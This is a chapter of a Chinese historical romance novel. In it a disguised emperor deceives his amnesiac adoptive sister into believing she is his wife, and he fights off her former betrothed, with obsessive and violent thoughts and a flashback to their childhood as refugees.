宁梓谦蒙了头,前些时日被官兵追得莫名其妙,好在他跑得快。多次尝试后,今日才得寻到机会,重新潜入这葫芦镇时府。 他立即朝着沈遥解释起来,“诺诺,你定是被歹人蒙蔽。你忘了吗?你曾说过,你喜欢的是有学识的男子。我寒窗苦读,终是成功了,却没想到迎亲路上遇到山匪。” “我昏迷了好些时日,前些日子才终于痊愈,便想着到处寻你踪迹,我实在担心。” 沈遥一时迷茫起来,这宁梓谦说的话,与时衍相差无几。 她反问:“若你说的是真,那时衍骗我的目的为何?” “这我怎么知道?”宁梓谦真是急得成了热锅上的蚂蚁,“我不知那歹人是谁,定是想利用你身份!” “我什么身份?” “长……”宁梓谦话还没说完,便被“砰”一声巨响打断,一股风由外而内灌入。 他扭头看去,是摇摇欲坠的木门,还没看清来人,便受了一拳重击在左脸颊,唾沫飞溅,一股浓重的血腥味在口腔中蔓延。 他后退几步才堪堪站稳,捂着脸凝神一看,瞪大了双眼,一时间惊诧到说不出话,想到沈遥口中的名字,瞬间明白了什么。 宋衍将沈遥护在身后,冷眼看着不远处的宁梓谦,面上淡然,却心跳如擂,久久无法平息。 他本是去了太原府,后收到密信,道此人竟出现在葫芦镇,还遇上了沈遥,他惊恐地扔下一切军事政务,快马加鞭,日夜兼程往回赶。 没想到刚到时府,便遇听到寝室动静慌张去寻侍卫的锦书。 他不知这段时间,宋梓谦与沈遥说了多少话,沈遥是否知晓了真相。 可就目前沈遥反应来看,他算是掐着点赶到了。 宋衍侧过头,低声试探又安慰了她一句,“别怕,官兵在路上。” 一切发生的太快,沈遥来不及细细思索,只是懵懵懂懂地点了下头。 明白过来一切的宁梓谦双眼通红,直接朝着宋衍怒吼着冲来,“原来是你这个白眼狼!” 沈遥下意识想上前,却被宋衍推开。 她眼看着夫君就这样强硬地刚了上去,与那人肉碰肉打在了一起。 可夫君…… 除了最开始破门而入的偷袭让宁梓谦左脸挂了彩,夫君几乎被打得毫无还手之力,拳拳到肉的声音让沈遥眉头蹙起。 “时衍!别打了!” 眼看着夫君衣襟被宁梓谦抓住,沈遥想上前帮忙,却听他镇定一声大吼:“别过来!” 沈遥停住脚步,他似乎在宁梓谦耳边小声地说了句什么,宁梓谦竟顿住在原地。 正在此时,屋外传来一阵乱哄哄的脚步声,似乎有官兵,还有侍卫。 宁梓谦恶狠狠放开宋衍的衣襟,双眼猩红,似是看杀父仇人一般瞪着他,最后抹了一把脸上的血迹,转身从净室的支摘窗飞快跃出。 官兵终于冲进了寝室,却不见了宁梓谦踪影。 宋衍盯着宁梓谦离开的方向,神色淡漠,抬脚时一个趔趄,缓缓转过身。 不远不近的沈遥面上带着明显的担忧,“你刚刚与他说了甚?” 宋衍漠然道:“没什么,就说官兵来了。只是他动作快,还是给跑了。” 沈遥颔首,上前将他扶住,慢慢挪到床上坐好,又叫锦书去准备伤药与热水。 官兵已经在时府搜查过一圈,没见着宁梓谦人影。 其中一人上前,与沈遥交谈,并嘱咐道:“时夫人受惊,若下次再见到那罪犯身影,定要告知官府。” “好,今夜有劳大人。”沈遥屈膝行礼后,派了两个小厮将官兵们送走,这才终于来到床边,看着靠在床上,脸上挂彩的夫君。 她将下人们屏退,用热水拧了帕子,一点点清理着他脸上的血迹。 宋衍见她沉默不语,心悬在了半空,口中泛着铁锈味,整个人好似踩在悬崖边,一不小心便是万丈深渊。 烛影映在她的脸上,她神情专注,手中的热量从脸颊传递到胸膛。 他是什么时候,开始喜欢上阿姐的? 好像是知晓阿姐私下为他教训了马夫儿子那一刻,又好像是他发热时,她将一条冰凉的帕子放在他额头。 即便阿姐嘴上讨厌他,满口“臭弟弟”,却从未真正伤过他丝毫。 好像,更是那夜官兵冲进沈家,所有人都四散奔逃,阿姐找到躲在槐树上的他,第一次朝他伸手,告诉他:“小衍,不怕,阿姐会护好你。” 从出生起便没被人在意过的他,本以为此生都血冷心硬,还是因此动容了。 他好像是一只弱小的蚕蛹,伪装成乖小孩的模样,为自己铸了一个茧,将真实的他厚厚包裹起来。而她却为他准备了最好最舒适的环境,推动着他化茧成蝶。 她不同于世间任何一人。 他说,她是他唯一的亲人,这句话是真的。 后来,他长大了,他成了男子汉,他想要换过来,以自身的力量保护他的阿姐。 而他手染鲜血,脚踩万骨,当终于获得他想要的力量时,他却看到了那一幕。 夕阳西下的太极宫甚美,那座假山后,阿姐主动拉起那个男人的手,脸上堆满笑意,后来,阿姐亲自与他说她要嫁给那人。 那时,他才意识到,阿姐终会嫁人。 凭什么? 那个男人,宁梓谦,配不上他的阿姐。 他忘不掉那一幕,多少日日夜夜,在自己手心划出无数道伤痕,于是开始暗戳戳跟踪她,监视她。 甚至在她睡着时躺到她的床底,听着她柔和的呼吸,与她共眠。 他怎会允,他生命中唯一的光,他的阿姐,诺诺,不要他,将他一人留在那把冰冷的龙椅之上。 宋衍摒气,装作不经意问起,“那歹人,与诺诺说了甚?” 沈遥顿住手上的动作,看着他脸上的淤青,直接说:“他冲进来,说他才是我夫君,喊出了我的小字,又说了当初迎亲遇到山匪的事儿。” 宋衍冷着脸,眼皮不可察觉地一跳,开始思索他是不是应该将她和自己铐一起,以免跑了。 或者他是否应该将宁梓谦杀了,将肉剁碎,看不出人形,叫她再也找不到此人存在。 又或者,引诱阿姐亲手杀了他,他便能化作鬼魅纠缠,她也便能至死都记住,她的夫君是他。 “你信吗?” 沈遥一滞,没有立刻回答他。 宋衍听不到答案,有些慌了神,一把抓住她的手,“诺诺,你答应过会信我的。” 慌乱下,他直接倾身上前,死死抱住她的腰,头埋在她身前,呼吸愈发粗重急促起来。 “诺诺,你怎能因一不知哪儿跑出来的外人,就质疑我!” 沈遥听着他逐渐混乱的气息,竟无言以对,她没想到,她的夫君竟能如此不安,如此依赖她。 说实话,在听到宁梓谦那些话时,她并非没有产生过怀疑,包括现在。 他抱得愈发紧,沈遥被勒得蹙眉,抓着他肩膀往外推,“时衍,你放开我。” 他摇头,更用上了几成力,好似要将人拆吞入腹一般。 沈遥顿时无语,最后拍了拍他脊背安抚:“你弄疼我了,你先放开,我不走。” 闻声,他犹豫片刻后才松开双手,抬起头,漆黑的瞳孔在烛光下竟没反射出一丝光亮。 沈遥重新喘过气后,扭头看他这副满是死气的模样,像一直受了伤的 小兽,警惕又脆弱。 她心软了。 她垂眸,取出药膏,将其轻轻抹到宋衍伤处打旋,叹了口气,“时衍,从我醒来,忘记一切后,你为我做的一切,对我多好,我并非看不到。我一直以为,感到不安的人应该是我才对,因为身为一个得了离魂症的疯女人,作为夫君的你,是我唯一的支柱与依靠。却没想到,原来你比我更加不安。你说你傻不傻?” 宋衍“嗯”了一声,耷拉着脑袋,声音很低,“你信我吗?” 沈遥不知为何,越看他,越觉得他模样可怜,“我愿意相信你的。” 她说的不是“我相信你”,而是加了“愿意”二字。 不过这也够了。 最起码,这出苦肉计让沈遥偏心到他身上,被宁梓谦那小子以下犯上揍一顿,也挺值。 屋外夏日的蝉鸣与蛙鸣交替着,跃入耳蜗,慢慢平静下原本的兵荒马乱。 沈遥将带血的帕子用热水洗净后,看向他身子,“你身上的伤呢?我看你身上也被打了不少下。” “嗯。”宋衍脸不红,心不跳,眼神带了些病态地斜瞟着她。 他利索地解开身上的系带,将自己剥了个干净,只留下一条亵裤。 沈遥垂眸看去,没有什么血迹,都是些个淤青。 “背上呢?” “没有,就前面。” 她一边涂着药膏,一边欣赏着男子的身躯,忽然口干舌燥,头昏脑胀起来。 “说你是绣花枕头还真是,这一身腱子肉都白练了。连我都打了那人好几下,你怎的就光上去挨揍了呢?” 努力散发雄性气息的宋衍听到这话一哽,沉默。 沈遥乜他一眼,没忍住笑了出来,手上力道没用好,重重一压,宋衍疼得低喊了一声。 他青着脸,一滩烂泥坐躺在那儿,嗓音哑哑的,“阿姐,我没被人打死,倒是要死在你手中。” 沈遥无奈,笑着用手指刮了一下他的喉结,没想到把他整个人弄僵住了。 她笑得花枝乱颤起来,“怎么了?跟个木头似的。” 宋衍半眯着眼,咬牙,“男人的喉结别乱碰。” 沈遥揶揄,“怎么?弟弟的喉结也不能碰啊,明明还是个小少年。” “不小。”宋衍红着耳朵扭开脸,别了下身子,不让她随意乱摸。 沈遥不知为何,平日里见多了他正经又翩翩君子模样。 此刻好不容易露出另一面,就是想逗逗他。她终于明白,为何夫君有时如此爱逗弄勾搭自己,原来看着对方无措,确实蛮有意思的。 于是她笑着又伸手摸了一下他上下滚动的喉结。 “你的喉结真的很好看,这种凸起的,很明显的。看着就让人想捏。” 宋衍沉默,眸子颜色更深了。 他转过头,勾起唇角,“事不过三,阿姐。少年变男人,只一瞬即可。” 沈遥听懂了他言后之意,视线往下去,弹指间便收回了笑容。 她其实第二次见这样的场景,事到如今还依然觉得很神奇。 这就是话本上所形容的……忽大忽小,忽长忽短。 奇哉!怪哉! 沈遥就是个纸老虎,玩儿不过,最后只能尴尬道:“呀……你今天居然穿亵裤了。” 宋衍:“???” 他深呼吸着,努力淡定下来,陡然沈遥发现耳根子同样通红。 于是暗自窃喜,又故作冷淡道:“不想看我穿亵裤?” 沈遥笑得很勉强,“还行吧,我很开明的。” 宋衍挑眉。 沈遥倒是从容坦荡,“毕竟你都以身相许了,不就是这点儿小癖好嘛,能理解。” 宋衍以前也是没见过沈遥这么流氓的样子,毕竟做阿姐的,身份摆在那儿,该端庄得端庄。 他此刻着实庆幸宁梓谦那厮没能真正与她成亲,这副娇俏的模样,只有身为夫君的他看得到。 要不是因为沈遥,他早将宁梓谦五马分尸。 想到这儿,宋衍倒是笑了,笑到双肩颤抖。 “你笑甚啊?”沈遥不解。 宋衍半晌说不出话,又道:“既我以身相许,那阿姐别不要我。” 否则,定毁了一切。 沈遥懒得再与他掰扯,直接起身,将拔步床内灯吹熄,只留下一盏,爬进床内躺好,闭上眼睛。 “行,别骗我,我就一直要你,臭弟弟。” 宋衍再也说不出话了,只得默默躺下,扭头静静朝她看去。 …… 夜半时分,弦月高挂,葫芦镇外的丛林中,宁梓谦灰头土脸从灌木丛中钻出,抖了抖自己身上的草屑。 镇外的小厮阿栗一眼就看到了自家公子,立刻迎了上去,“公、公子!怎会被打成这样?难道没见到长公主吗?” “见到了。”宁梓谦一口血痰吐在地上,又抹了一把脸,鼻血已经停了,“就是诺诺打的。” “啊?长公主怎会?”阿栗大惊。 宁梓谦捂着腰,随意找了棵树靠着坐下,“不知发生何事,看起来她不记得我了。” “怎会如此?” “许是那日迎亲碰到的山匪,给诺诺伤着头。不过我本以为是山匪,直到今日看到宋衍那臭小子……”宁梓谦气到脸红脖子粗。 阿栗惊得上前捂住他的嘴,又四处张望一番,“诶哟,我的公子啊,圣上名讳怎能直呼,还叫、叫、叫臭小子。被人听去了可是大罪。” “疼!疼!别碰我嘴!”宁梓谦呲牙咧嘴地将阿栗双手扯开,“再说,我就这样叫他怎么了?若没我宁家相助,现在坐在那位子上的人是不是他可还难说!” 当初认识这臭小子是通过沈遥,那时这小孩瘦骨嶙峋,柔柔弱弱,又一句话不说,看他的眼神像利刃冰锥一般,总感觉很诡异。 他只一直听诺诺喊他“小衍”,后来许久才知他宋姓的真实身份。 他宁家虽无官职,却是凉州首富。在诺诺说服下,为了此人大业,他们一家赌着性命,出了多少银钱给他招兵买马。 阿栗被他这番言论吓得心惊胆战,四处又跑了一圈,确认没人才放心回来。 “那日官兵追赶我们,还说我们是被通缉的罪犯,这……” 宁梓谦瞅他一眼,捡起地上的树枝在手中掰着,“这你放心,也就在那葫芦镇中如此罢了,明显演给我诺诺看的。这出了葫芦镇,到底还是得讲证据,看我宁家恩人的脸面。我是采花大盗?我!我宁家小公子!采花大盗?说出去不得把先帝都吓得活过来!” 他自顾自将一根根树枝掰断,扔到地上,又重新捡新的树枝在手中掰着。 倏然想起刚才宋衍凑到他耳边的低语:“你宁家上百口人都不在乎了么?” 想到这儿,他用力将手中枝条掷出,又用脚猛蹬了地上的石子,怒骂道:“卑鄙!无耻!” “当初还以为真是山匪来劫,我看都是他这臭小子玩儿的一手好戏!” “真没想到,藏的这么深,那可是他姐!他姐诶!他竟如此禽兽不如!若非那日偷听到梁国夫人和宫女说的话,我都没想到从长安城附近寻。我就说,这长安城附近怎么会凭空多出来一个葫芦镇,真够大手笔的。” 阿栗捏着手蹲在一旁,嘟囔提醒一声,“人家那也不是亲姐弟啊。” “可诺诺和我一向待他如亲弟,将他扶持上帝位,他就这样报答的?” 阿栗撇着嘴:“可再怎么说,如今也是九五之尊啊。” 宁梓谦说不出话了,低着头摆弄树枝许久,最后终于猛地起身,“去他娘的!难不成他以为我就这样放弃,任他摆弄不成?” “公子,别啊,我怕。”阿栗跟在斗志昂扬的宁梓谦身后,脸皱成了麻花。 “你怕什么?”宁梓谦瞅他一眼,“如今诺诺身处水深火热之中,就是等着我去救她!说不定,诺诺根本 没有忘记我,只是被那小子胁迫了,为了我的安危,只能装作不认识。” “你想想,她都为我做到这样的地步,得多委屈,多可怜!在这样关键之际,你和我怎能做缩头乌龟!” 阿栗看着满脸是伤的宁梓谦,闭嘴不再多言,那位天子的脑子有没有问题暂且不说,但自家公子的脑子绝对有问题。 真不知他如何考到同进士的。 …… 沈遥每日贴身精心照顾着宋衍,这日天气不错,她见他伤愈合得差不多,终于带着锦书出了一趟时府。 也恰巧这日,宋衍从书房回寝室后,倏然注意到窗台前竟多出一物,不知何人放在那儿。 一只折纸鹤。 他微微眯眼,立即上前,拿过那纸鹤放在手中。不确定沈遥早晨有没有发现,但看痕迹,是没有被拆开的模样。 宋衍随意将其展开后,见那张白纸赫然写着“永乐”二字。 他双眼化成了寒冰,将白纸揉成一团捏在手中,又立刻宣了南风,命其秘密在时府中细查内奸。 而发生的这件小事儿,沈遥丝毫不知,也没留意到那只折纸鹤。 街道上人多嘈杂,一队杂技人从瓦子出来,表演着胸口碎大石。猪肉铺子一股屠宰过的血腥味,熏得人敬而远之,沈遥找了许久,终于找到曾经宋衍买糖人的地方。 她挑选了一男一女两个胖糖人,好笑地捏了一捏男糖人的鼻子。 锦书够着头看,“夫人今日出街,就是专程给姑爷买糖人的?” “嗯。”沈遥将铜板递上,转了转手中糖人,摇摇头,“这小孩气性大,又爱撒娇,得时常哄着。” “小孩儿?”锦书一头雾水,“时府哪儿有小孩?啊!难道夫人与姑爷有……” 沈遥给她脑瓜子“咚”得来了一下,“想什么呢你。” 她不想跟锦书再絮叨下去,往前走着,见布告栏已经粘贴出了悬赏画像。 采花大盗,宁梓谦。 沈遥停顿了一会儿。 她忽然意识到,在小镇生活的这个把月里,除了宁梓谦,从未见过官府出动。 没有命案,没有偷鸡摸狗,没有恶霸,山贼也不曾进来。仿佛一世外桃源,在混乱的世间遗世独立,水清澈到不含一丝杂质。 这样的一处地方,不能说不好,只能说,缺了某些实感,好似只有书上才存在。 而采花大盗宁梓谦的出现,太过特立独行,以至于让她现在才产生这样的感觉。 她忽然忆起叶灵说过的话,这个小镇不是她想象中那样,还让她小心。 难不成,指的便是这股怪异? 锦书喊了她好几声,她才回神,没与她解释,也没再多留,直接回了时府。 只是入门后,她后知后觉发现,府中侍卫家丁竟都成了些生面孔。 “以前的侍卫和家丁呢?” 锦书自然不敢直接说,是因着之前的人竟没看住府邸,让宁梓谦趁夜色潜入府中。宋衍便将人罚过一通后,不知打发到何处去了。 “这批人是新的。”宋衍站在垂花门处,漆黑的眸子刺过来,勾着她。 而瞧他这模样,似是站在这里吹了许久的风,脸上还氤氲着柔光,光下藏了一丝不满,“之前的人成事不足,败事有余。” 沈遥没再细问,反正这些本就是他的人。 只是再转头,不知锦书去了何处。 倒是夫君视线依旧紧盯,盯得她汗毛直立。 他怨气颇大,“你去哪儿了?” “说你是小孩,你还不承认。”沈遥不想再跟他咬着牙较劲儿,将手中糖人拿出来,在他眼前一晃,“为了哄某个小孩儿,我专门出去买的。” “我是你男人。” 宋衍定睛,又笑了起来,想要伸手接过,却见她又把手收了回去,不解。 沈遥:“哦,既然如此,那就不是给你的。” 宋衍也不废话,竟直接上前抓住她手腕,将她手中的女胖娃给一把夺了过来。 沈遥反应不及,占了下风,她无语地在他腰间拧了一把,却硬得跟石块似的,手指给拧疼了。 “你幼不幼稚,还说不是小孩。你不仅是小屁孩,还是泼皮!无赖!” 宋衍身子一僵,无奈地看着这个丝毫不知点了火的女人。 罢了。 他挑眉,也不反驳,直接将糖人含在口中,甜甜腻腻,似乎糖液融进了心底。 沈遥低头一看,自己手中的是那个男娃娃,好笑道:“这个才是给你的,你抢错了。” 宋衍将插着木签子的女娃娃从口中拿出,又递还给她。 沈遥嫌弃地扭开头,推开他手,穿过垂花门往前走去,喃喃自语:“还想和我间接接吻,做梦。” 她想到什么,忽然回头问他,“你今日不去上学了?” 宋衍声音低沉又柔和,“不忙。” 实际上,军事政务快将他忙死了,可想到宁梓谦那厮的出现,到现在还后怕。 相比起来,明显诺诺更要紧。 “唔。那……”沈遥点头,犹疑后还是不再多问其他。 宋衍敏锐察觉出,她似乎有话没与自己说,两三步追上,“有话?” 沈遥沉默片刻后,摇摇头,“没什么,是我自己多想了。” 她本是想问今日发觉的那股怪异,这个世外桃源,毫无邪恶与罪犯的小镇。 可不知为何,似乎自那采花大盗宁梓谦出现后,她与他之间,生出一条无形的沟壑,让她在问出这话时又几度三思,终是闭了嘴。 可她明明是愿意去相信他的。 她的夫君,面对她这样一个时常忘事儿的病人,疯女人,耐心如旧。而面对他们之间的距离,他给足了尊重。 沈遥看向走在身侧的夫君。看得出来,他得了糖人后,心情格外好,笑起来的他轮廓柔和,像四月时的阳光,温暖却不燥。 可是她也忽然发觉,夫君比前些时日还是削瘦了些,不明显,很细微的变化。双眼深邃,瞳孔似旋涡,卷着万物入内。 是学业太忙碌么? “你累吗?”沈遥问。 宋衍似乎沉浸在自己思绪中,一时间没听清,于是朝她倾身又靠近几分,贴着耳朵,“什么?” 沈遥侧脸,耳朵痒起来,肩膀一耸,正要说话时,南风忽然从后边走来,“时爷!有客来。书院的公子。” 宋衍与南风眼神互换了一瞬,他将口中剩下的糖咬碎,一次性咀嚼咽下,又看向沈遥。 “你去吧。”女眷自是不便见外男,沈遥也并非整日闲的发慌,需要人陪,“我自己就好。” 宋衍走前抬手捏了捏她头上的发包,带着南风往正堂而去。 等待宋衍的过程中,沈遥回到住处,继续着这些时日未完成的袍子。 上次在布庄,她特意为夫君挑选了一匹暗红色锦缎,如今这件袍子被她悄悄摸摸地完成一半。 只是打开柜子时,沈遥发现篮筐里多了一物,是一只从未见过的荷包。 她将荷包拾起,仔细一观,只见上面绣了一只白鹤,栩栩如生。 沈遥万分确定,这不是自己的东西。 难道是锦书的? 她将其连带着那件袍子一同拿出,又发觉荷包里似乎装了些什么。 好奇心的驱使下,她打开了荷包。 只是当倒出其中物体时,她僵在原地,毛骨悚然。 …… 来时府拜访的同窗,其实是宋衍另一御前带刀侍卫,东风。 东南西北**皆隶属千牛卫,通常贴身保护御驾,为皇帝办事。四人功夫皆在上乘,在宋衍面前不苟言笑,私下里却也时常打趣,猜测御赐之名究竟何意。 南风一向老实,思考也往好的地方想,“东南西北自是代表了万里河山,风亦是来无影,去无踪,此乃好寓意。” 后来宋衍听到南风提起,只面无表情解释:“没什么意思,懒得想名字。” 东风知晓后打趣面色失望的南风,“得了吧,没给你叫西北风不错了。” 时府正堂上,宋衍落座后,东风便迎了上来,“时爷,长安城内有线索。” “说。” “长安四处流言血鬼现身,乃天子失德。我们查出,此流言的源 头来自于一茶楼说书人。属下前日抓住此人后,严刑逼供,那人只说有一男子给了不少银钱,要他散播这则流言。” 南风在一旁问:“男子?难不成就是……” 几人视线交汇后颔首,东风继续说:“然而无论我们怎么询问此男子身份,以及更多消息,这说书人只一概不知。直到今日清晨,这说书人被发现自缢在牢房之中。” 南风惊诧:“那这线索不是又断了!” 宋衍冷笑,“他怕了。” “没错,这人并非真正自缢,而是他杀。”东风补上一句。 宋衍垂眸思索片刻,连宁梓谦那厮都查到葫芦镇,他不可能查不到。 “加派人手,护好夫人。” 东风与南风异口同声恭道了一声是。 宋衍将所谓同窗来客的东风送走后,便急急忙忙回屋寻沈遥。 打开房门时,沈遥正坐在窗前,无所事事地摆弄着一本杂记,清风拂过,卷起几缕鬓间发丝。 可她没有翻阅手中的书,视线一直注视着窗外,不知想什么。 宋衍问:“无聊了?” 沈遥闻声后回神,看着面前的夫君,脸带笑意,温柔似水。除了偶尔露出的强势,又或是依赖,他依然是一个对她很好的男人。 他读书努力,也聪慧,关键是很有钱。 这么有钱了,还依然努力。 沈遥有时深更半夜醒来,会注意到书房中彻夜点灯,他还在苦读。 她白日也见过他认真的模样,专心致志在纸上一笔一画写字。 不得不说,俊俏的男人认真起来,真叫人挠心挠肺。 她确实是个味觉敏感,极怕吃苦的,不愿再继续服那药,夫君也不逼迫,任由着她想做甚,便做甚。 此时还是青天白日,可房内依旧有些昏沉,刻漏的声音不断放大,似乎在某一个瞬间,她看不清夫君的神情。 沈遥想到那个荷包,内心挣扎起来,最后摇摇头,“不无聊的,倒是你,如今伤也好了,是该上学去了,莫要落了功课被夫子骂才好。” 宋衍自顾自倒了杯凉水饮下,不知为何,他感觉这短短时间内,沈遥情绪有变。 可是她一直待在房中,又能有何事? “放心,我功课不错。” “是吗?” 宋衍倾身拿茶壶倒水,袖摆擦过她身前,“你考我。” 沈遥闻着他身上靠近的青草气息,手肘撑在案上挑眉,“我又没读过你看的书,这如何考?” 宋衍:“诺诺随意找本,抽一段?” 她起身从书柜中随意抽了一本未看过的,扔过去,“那你讲,我听着。” 沈遥不动声色伸出手指,戳了戳他眉心,似乎想从他脸上找寻某些蛛丝马迹。 宋衍被他戳得心痒,抓住那只不安分的手,垂眸一扫,挑眉,“《抱朴子》?” 沈遥凝视着自己被他捂住的手,开始微微发汗,却没抽离。 宋衍主动将她手放开,随意翻页,道:“人之好色,犹蛾之赴火,虽有贤知,鲜能自禁。” 沈遥:“……” “总结来说,便是,人对美色的追求,皆是起之于心,无可自拔,即便是贤明圣者,也难自持。换句话说,便是,食色,性也。” 这般念叨着,宋衍挑眉颔首。 “行了。”沈遥抽出书合上,藏到袖下,不自然地扭头。 宋衍半晌不见她说话,以为她生气了,心底发慌,“这不是诺诺的书么?” 沈遥:“……你不早说,我又没看过。” 宋衍“嗯”了一声,一瞥摆在案上的完整男娃娃糖人,“没吃?” 沈遥没有看他,将视线又挪到窗外,“记得上次吃过,有些过甜了。” 他犹豫,做糖人这老头,是他特意从甘州请来,沈遥从小就喜欢他手艺,怎会忽然不喜? 沈遥并非因为他那几句房中养生术而生气,只是想到翻出的荷包,心底有些闷闷的,现在还在发怵。 她将那男娃娃糖人捡起,往宋衍怀里一扔,“你吃吧,我乏了,想再休憩片刻。” 屋子声音忽然安静下来,半晌过后,宋衍低着头。 沈遥等了许久,见他还坐在身旁,“还不走?你伤不是都好全了么?” 宋衍淡淡别开头,她果然又生气了。 这可如何是好? 见他没动静,沈遥也不想再等,直接起身入拔步床,脱了鞋履躺下,又放下帷帐,隔开空间,便不再理他。 她也没真睡,只是等了许久,才终于听到离开房间的脚步声与关门声。 辗转反侧,她又从枕下掏出那只绣了白鹤的荷包,打开后,一阵花香飘出,里面躺着的,是一片片白色成堆的梨花花瓣。 沈遥想了一下午,都没想通,这是谁放在她这儿的。 若来自于外面,哪儿来的梨花?何人所寻? 若是来自于时府,那夫君做这一出戏的目的究竟为何。 他莫不是脑子真有病? 难道他还欺骗了她更多事儿? 沈遥躺到用晚膳时,才知晓夫君又出了门。 吃饱喝足,在外院转了一圈,她来到书房,毫不犹豫地将书案下暗格打开。 她定睛看了一会儿静静躺在那儿的锦盒,没有将其取出。 最后只是将那白鹤荷包扔进暗格中关好。 …… 宋衍离开时府后,心底一直想着今日发生的事儿,马车在路过糖人铺子时,他喊了一声,“停。” 他下车径直往糖人铺子走去,卖糖人的老头正坐在小凳上,扇着扇子,见到宋衍来时,一个激灵站了起来。 “时爷又来了。” 老头本甘州人士,并不知晓面前男子的真实身份,只是突然有一日,有人出现,要他搬来这个小镇继续做糖人,并给了一笔钱。 那笔钱是他从未见过的大手笔,够他家中几辈子花销,可老头并不愿意搬到远离家乡的地方。 后来,这个男人亲自出现在他面前,八尺的身高站在他的小茅草屋中。 他身上散发着一股郁气,却对他彬彬有礼。 “自幼住甘州,夫人从小就一直喜欢您的糖人,后来夫人生了意外,如今身子不大好,我想留下一些夫人熟悉的东西。” “葫芦镇安逸,不同于外面,受皇家庇佑,每个月也有相应的例银,唯一的要求便是听从上头命令。” “只要您愿意,无论什么条件,我都会满足。” 老头年纪大了,欲望也小了,并不在乎那些身外之物,至于这小破房,更是不值一提。 可是人都会对从小长大的家乡有着归属感,他还是拒了面前男子的要求。 他看得出来男子身上衣着的华贵,是有钱的贵人,不仅有钱,定还有权。本以为被他这老头拒绝后,他定会放弃。 却没想到,第二日,男子又一次出现在他面前,那日下着雨,天空阴沉,雷声阵阵。 男子站在小茅草屋外面,撑着一把伞等他出来。 见到此般场景,老头眯着眼惊了一下,好像有什么回忆涌入进来。 待男子走到他面前时,他才不确定地问了句,“这位公子小时候,老夫可见过?” 是见过的,而且也是同样的一个雷雨天。 八年前,沈遥和宋衍一路跌跌撞撞,终于从长安到达了甘州。 此时正值乱世,他们找到河西节度使家的府邸时,一身灰头土脸,衣服穿得破破烂烂,与两个小流民没什么区别。 不过他们确实算是流民。 那时正值雨季,刚下过一场暴雨,宋衍跟在沈遥身后,上前将大门敲响。 许久后,才有一年长的管事开门,低头一扫两人,以为是前来行乞的,满脸不耐,“快滚!也不看看这是谁家?就敢跑来行乞。” 正待管事要将门阖上时,沈遥急忙挤了上去,眼睛亮亮的,大声道:“ 我是长安沈家长女沈遥,韩秀华是我姨母……” 话还没说完,那管事不耐烦地打断,“行了行了,这几日多少人来,都说是我家主子亲戚,再在这儿碰瓷,别怪我拿扫帚打你们走了!” 说着他推搡了一把沈遥,推完后还嫌弃的用衣摆擦了擦手心。 宋衍眼疾手快上前扶住她,黑眸朝着那管事看去。 管事被看得浑身打了个寒颤,口水卡在嗓子眼不上不下,可不过一小孩罢了,能有什么? 他想想,将府门重重关上。 沈遥咬唇,深呼吸着,最后转身看向宋衍,安慰道:“没关系,我们就守在这大门口,等着姨母出来。” “到时候我们就能进去了。” 她拉着他找了处能避雨的角落坐下,勉强地朝他笑笑,“等入府后,你想吃什么?” 宋衍沉默着,觉得她此时笑得有些太难看了,没必要笑那么勉强。 “烤鸡。” 她最喜欢烤鸡。 “烤鸡?好巧,我也好想吃烤鸡。”沈遥冷得有些发抖,牙齿打颤,“除了烤鸡,我还想喝一碗热乎乎的鸡汤,你呢?” 宋衍点了点头,默默地将身上的外衫脱下,给沈遥披上。 然而,等待的时间却比他们想得更久。 姨丈身为节度使,这些时日是忙得脚后跟不着地,已经许久未回府邸,整日睡在军营中。 而姨母,身为内宅妇人,基本不出门走动。 每当沈遥上前去敲门时,开门的永远都是那个没好脸色的管事。 为了填饱肚子,也只能到城外,混在流民里争夺馒头,露宿在那个稍微能遮雨的角落。 宋衍伸手摸了摸她的额头,有些心慌起来,“阿姐?” 沈遥睁开眼睛回过神,等他说话。 “你好像生病了。” 沈遥一怔,自己摸了下额头,又朝他否认,“是你手太冰了,我生没生病,自己难不成还感觉不到啊。” 好吧。 宋衍相信她,毕竟阿姐说的每一句话,他都愿意去相信。 直到三日后,府门终于打开,从中走出一个气质斐然的中年女子。沈遥本闭着眼假寐,听到动静后兔子般跳了起来,定睛往女人身上一看,直接拉着宋衍冲了上去。 “姨母——” 女人一怔,顿住脚步回头,见到她时观察了好一会儿。 走在她身旁的管事没想到又是这两人,正想替女人上前将他们赶走,却没想到女人忽然热泪盈眶,“诺诺?” 沈遥跑到她近前,却不敢碰触她,生怕弄脏了韩秀华漂亮又干净的襦裙。 “诺诺?真是你?” “姨母!是我!”沈遥用力地点头,终是守得云开见月明。 韩秀华丝毫不嫌弃,将她一把抱到怀中,“我还以为,还以为,你也……” 沈遥声音有些发颤,“是母亲反应及时,让我带着弟弟妹妹从沈家跑了出来,只是母亲……” “没事儿,没事儿的,至少你还活着啊,活着就好,活着就好啊。” 韩秀华退开些许,伸手抹了抹沈遥脏兮兮的脸,又看向一旁沉默得如同小哑巴似的宋衍。 “这是我二弟弟,小衍。”沈遥拉过他朝着韩秀华介绍。 韩秀华远在这甘州,听到些传闻,说是沈家住进来了个私生子。这孩子不是她妹妹的儿子,她心底自然不喜。 可终究只是一个无辜的孩子,便道:“这一路上怕是辛苦了,先进来,我叫下人备好热水,准备好饭菜,你们姐弟俩沐浴吃饭,好好睡一觉。” 小姑娘个头长高了不少,和以前的稚嫩不太一样,但好在,妹妹的血脉至少留下来了。 韩秀华安排得极为妥帖,很快将两间房整理出来,大的那间给沈遥住,偏房小一些,给宋衍。姐弟俩暂时还是住同一个院子。 这一路又是追杀,又是饥荒,在沈遥舒服泡到浴桶中时,才终于感受到算是活过来了。可脑袋却越来越昏沉,发了热,她自是知晓的,只是当时在府外,一切都难说,便不想要臭弟弟多心。 待两人用过膳后,沈遥撑着身子,正准备带宋衍去找姨母表达谢意时,忽然在书房外听到了姨母和姨丈的争吵。 “如今这乱得很,天子对沈家下了死令,若是知晓我们藏匿沈家之后,怕是会引来不必要的麻烦。” 姨丈不知何时回了家,许是听闻了沈遥姐弟的投奔,直接从军营跑了回来,身上的盔甲都还未卸去。 姨母带着哭腔,“可她是我妹妹的孩子啊,我怎能弃之不顾,我们将他们藏好了,不叫外人知晓他们身份不就行了?” “藏?夫人啊,天底下没有不透风的墙。”姨丈的拳头一直往桌上捶,似乎在思索究竟将这两个拖油瓶放去何处。 沈遥没再偷听,扭头时看着宋衍担忧的神情,再次扯起一个难看的笑,回了寝室。 只是这病来如山倒,她一回房便倒在床上,一直昏睡着。 